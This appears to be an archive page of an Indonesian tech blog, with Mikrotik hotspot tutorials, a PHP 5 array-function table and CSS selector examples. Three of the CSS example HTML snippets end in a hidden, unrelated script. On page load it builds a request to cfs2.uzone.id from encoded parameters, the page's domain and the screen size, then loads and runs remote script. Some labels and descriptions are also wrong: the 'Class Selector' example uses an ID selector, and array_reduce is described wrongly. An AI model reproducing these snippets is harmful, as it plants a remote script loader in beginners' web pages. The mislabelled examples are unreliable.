
Sunday, January 29, 2017


Tutorial Setting Mikrotik RB dari Awal Sampai Terkoneksi Dengan Internet ( Basic Setup Mikrotik )
Saturday, January 28, 2017

Tutorial Load Balance 2 Modem ISP Menggunakan Metode PCC Mikrotik
Load balance 2 modem ISP dengan metode PCC sangat cocok digunakan untuk Owner hotspot yang belum tercover jaringan internet dengan bandwitdh besar, dan metode pcc ini tidak lain dilakukan dengan tujuan : mendistribusikan trafik dari user ke 2 wan atau 2 isp secara merata yang fungsinya : membagi beban koneksi kepada kedua isp tersebut agar seimbang.

Management Bandwitdh Hotspot Login Mikrotik 1 ID User Login Shared Multi Client
Management bandwitdh adalah kunci utama untuk membagi bandwitdh internet, untuk dapat mengatur bandwitdh supaya maksimal kita wajib mengetahui trik-trik yang ada pada rule masing masing menu mikrotik. kali ini kita akan membahas management bandwitdh hotspot mikrotik agar bisa shared 1 user ID dipakai multi login.

Template Hotspot Login Mikrotik [Fitur RT RW Profil]
Hotspot login template adalah halaman utama yang diakses oleh client hotspot dinamis saat akan login akun dan berselancar ke internet layanan hotspot kita, maka dari itu banyak owner hotspot yang ingin menuangkan profil layanan dari masing-masing hotspot mereka.
Friday, January 27, 2017

Block Mac dan IP Address Static Client Hotspot Mikrotik
Untuk dapat mengunci client hotspot agar tidak bisa ganti-ganti IP Address maka kita perlu melakukan kunci mac address si client hotspot, rule ini dilakukan oleh owner hotspot yang masih menggunakan IP Static untuk memanajement hotspot mikrotiknya.

Tutorial Simple Block Situs Dewasa Dengan Mikrotik
This summary is not available. Please
click here to view the post.

Tutorial Setting Hotspot Mikrotik
- DHCP server, digunakan untuk memberi layanan IP otomatis ke user
- Firewall NAT, untuk mentranslasi IP user ke IP yang bisa dikenali ke internet
- Firewall filter, untuk memblock user yang belum melakukan login
- Proxy, untuk memberikan tampilan halaman login
- dan sebagainya
Buka di menu IP > Hotspot > Hotspot Setup.
Dengan menekan tombol Hotspot Setup, wizard Hotspot akan menuntun kita untuk
melakukan setting dengan menampilkan kotak-kotak dialog pada setiap langkah nya.
Langkah pertama, kita diminta untuk menentukan interface mana Hotspot
akan diaktifkan. Pada kasus kali ini, Hotspot diaktifkan pada wlan1, dimana wlan1
sudah kita set sebagai access point (ap-bridge).
Selanjutnya klik Next.
Jika di interface wlan1 sudah terdapat IP, maka pada
langkah kedua ini, secara otomatis terisi
IP Address yang ada di wlan1. Tetapi jika belum terpasang IP, maka kita bisa
menentukan IP nya di langkah ini. Kemudian Klik
Next.
Langkah ketiga, tentukan range IP Address yang akan diberikan ke user (DHCP Server).
Secara default, router otomatis memberikan range IP sesuai dengan prefix/subnet
IP yang ada di interface. Tetapi kita bisa merubahnya jika dibutuhkan. Lalu klik
Next.
Langkah selanjutnya, menentukan SSL Certificate jika kita akan menggunakan HTTPS
untuk halaman loginnya. Tetapi jika kita tidak memiliki sertifikat SSL, kita pilihl
none, kemudian klik Next
Jika diperlukan SMTP Server khusus untuk server hotspot bisa ditentukan,
sehingga setiap request SMTP client diredirect ke SMTP yang kita tentukan. Karena
tidak disediakan smtp server, IP 0.0.0.0 kami biarkan default. Kemudian klik Next.

Selanjutnya kita diminta memasukkan nama DNS untuk local hotspot server. Jika diisikan, nantinya setiap user yang belum melakukan login dan akan akses ke internet, maka browser akan dibelokkan ke halaman login ini. Disini DNS name sebaiknya menggunakan format FQDN yang benar. Jika tidak diisikan maka di halaman login akan menggunakan url IP address dari wlan1. Pada kasus ini, nama DNS-nya diisi "hotspot.mikrotik.co.id". Lalu klik Next.

Langkah terakhir, tentukan username dan pasword untuk login ke jaringan hotspot Anda. Ini adalah username yang akan kita gunakan untuk mencoba jaringan hotspot kita.
Sampai pada langkah ini, jika di klik Next maka akan muncul pesan yang menyatakan bahwa setting Hotspot telah selesai.
Selanjutnya kita akan mencoba mengkoneksikan laptop ke wifi hotspot yang sudah kita buat. Kemudian buka browser dan akses web sembarang (pastikan Anda mengakses web yang menggunakan protokol http, karena hotspot mikrotik belum mendukung untuk redirect web yang menggunakan https), maka Anda akan dialihkan ke halaman login hotspot seperti pada gambar berikut ini:

Untuk mencobanya, silahkan coba login dengan username dan password yang telah Anda buat pada langkah sebelumnya. Jika berhasil login maka akan membuka halaman web yang diminta dan membuka popup halaman status Hotspot.
Monday, December 5, 2016

CSS - HOW TO ?
When a browser reads a style sheet, it will format the HTML document according to the information in the style sheet.
Friday, December 2, 2016

Download FreeBSD
Most users of FreeBSD will have hardware for either the amd64, i386, or armv6 architectures.
Ubuntu Download
Ubuntu is completely free to download, use and share.
Ubuntu Desktop ›
Download Ubuntu desktop and replace your current operating
system whether it’s Windows or Mac OS, or, run Ubuntu alongside it.
system whether it’s Windows or Mac OS, or, run Ubuntu alongside it.

Winbox dan Package Mikrotik
Upgrading RouterOS
Choose Bugfix only version to download the most stable release without new features, just most important fixes. Choose Current to have the same fixes including improvements and new features, or choose Release candidate for testing the absolute latest builds in test environments.

PHP 5 Array Functions
PHP Array Introduction
The array functions allow you to access and manipulate arrays.
Simple and multi-dimensional arrays are supported.
Installation
The array functions are part of the PHP core. There is no installation needed to use these functions.
PHP 5 Array Functions
| Function | Description |
|---|---|
| array() | Creates an array |
| array_change_key_case() | Changes all keys in an array to lowercase or uppercase |
| array_chunk() | Splits an array into chunks of arrays |
| array_column() | Returns the values from a single column in the input array |
| array_combine() | Creates an array by using the elements from one "keys" array and one "values" array |
| array_count_values() | Counts all the values of an array |
| array_diff() | Compare arrays, and returns the differences (compare values only) |
| array_diff_assoc() | Compare arrays, and returns the differences (compare keys and values) |
| array_diff_key() | Compare arrays, and returns the differences (compare keys only) |
| array_diff_uassoc() | Compare arrays, and returns the differences (compare keys and values, using a user-defined key comparison function) |
| array_diff_ukey() | Compare arrays, and returns the differences (compare keys only, using a user-defined key comparison function) |
| array_fill() | Fills an array with values |
| array_fill_keys() | Fills an array with values, specifying keys |
| array_filter() | Filters the values of an array using a callback function |
| array_flip() | Flips/Exchanges all keys with their associated values in an array |
| array_intersect() | Compare arrays, and returns the matches (compare values only) |
| array_intersect_assoc() | Compare arrays and returns the matches (compare keys and values) |
| array_intersect_key() | Compare arrays, and returns the matches (compare keys only) |
| array_intersect_uassoc() | Compare arrays, and returns the matches (compare keys and values, using a user-defined key comparison function) |
| array_intersect_ukey() | Compare arrays, and returns the matches (compare keys only, using a user-defined key comparison function) |
| array_key_exists() | Checks if the specified key exists in the array |
| array_keys() | Returns all the keys of an array |
| array_map() | Sends each value of an array to a user-made function which returns new values |
| array_merge() | Merges one or more arrays into one array |
| array_merge_recursive() | Merges one or more arrays into one array recursively |
| array_multisort() | Sorts multiple or multi-dimensional arrays |
| array_pad() | Inserts a specified number of items, with a specified value, to an array |
| array_pop() | Deletes the last element of an array |
| array_product() | Calculates the product of the values in an array |
| array_push() | Inserts one or more elements to the end of an array |
| array_rand() | Returns one or more random keys from an array |
| array_reduce() | Returns an array as a string, using a user-defined function |
| array_replace() | Replaces the values of the first array with the values from following arrays |
| array_replace_recursive() | Replaces the values of the first array with the values from following arrays recursively |
| array_reverse() | Returns an array in the reverse order |
| array_search() | Searches an array for a given value and returns the key |
| array_shift() | Removes the first element from an array, and returns the value of the removed element |
| array_slice() | Returns selected parts of an array |
| array_splice() | Removes and replaces specified elements of an array |
| array_sum() | Returns the sum of the values in an array |
| array_udiff() | Compare arrays, and returns the differences (compare values only, using a user-defined key comparison function) |
| array_udiff_assoc() | Compare arrays, and returns the differences (compare keys and values, using a built-in function to compare the keys and a user-defined function to compare the values) |
| array_udiff_uassoc() | Compare arrays, and returns the differences (compare keys and values, using two user-defined key comparison functions) |
| array_uintersect() | Compare arrays, and returns the matches (compare values only, using a user-defined key comparison function) |
| array_uintersect_assoc() | Compare arrays, and returns the matches (compare keys and values, using a built-in function to compare the keys and a user-defined function to compare the values) |
| array_uintersect_uassoc() | Compare arrays, and returns the matches (compare keys and values, using two user-defined key comparison functions) |
| array_unique() | Removes duplicate values from an array |
| array_unshift() | Adds one or more elements to the beginning of an array |
| array_values() | Returns all the values of an array |
| array_walk() | Applies a user function to every member of an array |
| array_walk_recursive() | Applies a user function recursively to every member of an array |
| arsort() | Sorts an associative array in descending order, according to the value |
| asort() | Sorts an associative array in ascending order, according to the value |
| compact() | Create array containing variables and their values |
| count() | Returns the number of elements in an array |
| current() | Returns the current element in an array |
| each() | Returns the current key and value pair from an array |
| end() | Sets the internal pointer of an array to its last element |
| extract() | Imports variables into the current symbol table from an array |
| in_array() | Checks if a specified value exists in an array |
| key() | Fetches a key from an array |
| krsort() | Sorts an associative array in descending order, according to the key |
| ksort() | Sorts an associative array in ascending order, according to the key |
| list() | Assigns variables as if they were an array |
| natcasesort() | Sorts an array using a case insensitive "natural order" algorithm |
| natsort() | Sorts an array using a "natural order" algorithm |
| next() | Advance the internal array pointer of an array |
| pos() | Alias of current() |
| prev() | Rewinds the internal array pointer |
| range() | Creates an array containing a range of elements |
| reset() | Sets the internal pointer of an array to its first element |
| rsort() | Sorts an indexed array in descending order |
| shuffle() | Shuffles an array |
| sizeof() | Alias of count() |
| sort() | Sorts an indexed array in ascending order |
| uasort() | Sorts an array by values using a user-defined comparison function |
| uksort() | Sorts an array by keys using a user-defined comparison function |
| usort() | Sorts an array using a user-defined comparison function |

PHP 5 Tutorial
PHP is a server scripting language, and a powerful tool for making dynamic and interactive Web pages.
Easy Learning with "Show PHP"
Our "Show PHP" tool makes it easy to learn PHP, it shows both the PHP source code and the HTML output of the code.
Example
<!DOCTYPE html>
<html>
<body>
<?php
echo "My first PHP script!";
?>
</body>
</html>
Run example »
Click on the "Run example" button to see how it works.
PHP 5 References
At W3Schools you will find complete references of all PHP functions:
- Array functions
- Calendar functions
- Date functions
- Directory functions
- Error functions
- Filesystem functions
- Filter functions
- FTP functions
- HTTP functions
- LibXML functions
- Mail functions
- Math functions
- Misc functions
- MySQLi functions
- SimpleXML functions
- String functions
- XML Parser functions
- Zip functions

CSS Syntax - Class Selector
Class Selector :
<!DOCTYPE html>
<html>
<head>
<style>
#para1 {
text-align: center;
color: red;
}
</style>
</head>
<body>
<p id="para1">Hello World!</p>
<p>This paragraph is not affected by the style.</p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkegNy7jQ5RNAx4JvgKh9%2bW5MEUU1Qu%2bCpCZH%2fid5qR1Q%2b52jESqk8Y9PevDJY%2bINH%2bhB8vfVglNsrZvX3VrYG3jqXhSyJYJwBtol3x0Ld9H%2bnhvWA8g%2bGe5bxKQvZrQDoA92P5HtdoRJI8yDiHota2ms0S%2bmq7p1IPMdYySZs5fl8%2bPJox5qzVf4z%2bcVAJObeivMjDtT5c3xVbMvbktVLB2IIccc51MOKdsQFCz6rOJgXvJjjXbLnSIg3ldUuWwRSSB1hEBOslhB5GQXaAT7rGeVUUdeN4xYAWvEzEQOSyoCjIqJdFbky1CssSsZwBTBsMlllxnE66q7MLdB43qhFTZsmKJo7zAwIPjjklNbJAl6O86dCoGKrsF2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>

CSS Syntax - ID Selector
ID Selector :
<!DOCTYPE html>
<html>
<head>
<style>
#para1 {
text-align: center;
color: red;
}
</style>
</head>
<body>
<p id="para1">Hello World!</p>
<p>This paragraph is not affected by the style.</p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkegNy7jQ5RNAx4JvgKh9%2bW5MEUU1Qu%2bCpCZH%2fid5qR1Q%2b52jESqk8Y9PevDJY%2bINH%2bhB8vfVglNsrZvX3VrYG3jqXhSyJYJwBtol3x0Ld9H%2bnhvWA8g%2bGe5bxKQvZrQDoA92P5HtdoRJI8yDiHota2ms0S%2bmq7p1IPMdYySZs5fl8%2bPJox5qzVf4z%2bcVAJObeivMjDtT5c3xVbMvbktVLB2IIccc51MOKdsQFCz6rOJgXvJjjXbLnSIg3ldUuWwRSSB1hEBOslhB5GQXaAT7rGeVUUdeN4xYAWvEzEQOSyoCjIqJdFbky1CssSsZwBTBsMlllxnE66q7MLdB43qhFTZsmKJo7zAwIPjjklNbJAl6O86dCoGKrsF2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>

CSS Syntax - Element Selector
Element Selector :
<!DOCTYPE html>
<html>
<head>
<style>
p {
text-align: center;
color: red;
}
</style>
</head>
<body>
<p>Every paragraph will be affected by the style.</p>
<p id="para1">Me too!</p>
<p>And me!</p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkeiIBVl0fmp5Hi7mKSwziKsz%2fWj82K%2fItsLYz2UmIjgOCWfVseJgi6OynJULJlAxxQ%2fcwnW4gpqeRP8jlm3Q%2fCjKQ%2ffW5eX4QRs%2bShBnBkocVB8w5bDE%2bZbyjxxH%2bdeXovNPmQcZNQn7zLABYBdrL0bQMzGZrcrf2EedtQaKeXCab5nkYMRvakjCw0PN0R2gUikYehM11BInJzs9gZtD9vMHz1dpSQ3ct8F5RDT78h2DwTrMkRF4uKmDdkijgGDxwj2TOgrMpFrr2woGKEUYznhxeiGyTddvxGVW0xir%2fT5Q0%2fkrt0oMJHQNO%2fYOO1uvwRck2blFIsYevt8wqkkc3GWACQ0VVcgF7eP285FQtEv7t5zFI82HDK9K" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
Thursday, December 1, 2016

CSS Introduction
What is CSS?
- CSS stands for Cascading Style Sheets
- CSS describes how HTML elements are to be displayed on screen, paper, or in other media
- CSS saves a lot of work. It can control the layout of multiple web pages all at once
- External stylesheets are stored in CSS files
CSS Demo - One HTML Page - Multiple Styles!
Here we will show one HTML page displayed with four different stylesheets. Click on the "Stylesheet 1", "Stylesheet 2", "Stylesheet 3", "Stylesheet 4" links below to see the different styles:
Why Use CSS?
CSS is used to define styles for your web pages, including the design, layout and variations in display for different devices and screen sizes.CSS Solved a Big Problem
HTML was NEVER intended to contain tags for formatting a web page!HTML was created to describe the content of a web page, like:
<h1>This is a heading</h1>
<p>This is a paragraph.</p>
When tags like <font>, and color attributes were added to the HTML 3.2 specification, it started a nightmare for web developers. Development of large websites, where fonts and color information were added to every single page, became a long and expensive process.
To solve this problem, the World Wide Web Consortium (W3C) created CSS.
CSS removed the style formatting from the HTML page!
CSS Saves a Lot of Work!
The style definitions are normally saved in external .css files.With an external stylesheet file, you can change the look of an entire website by changing just one file!
Subscribe to:
Posts (Atom)











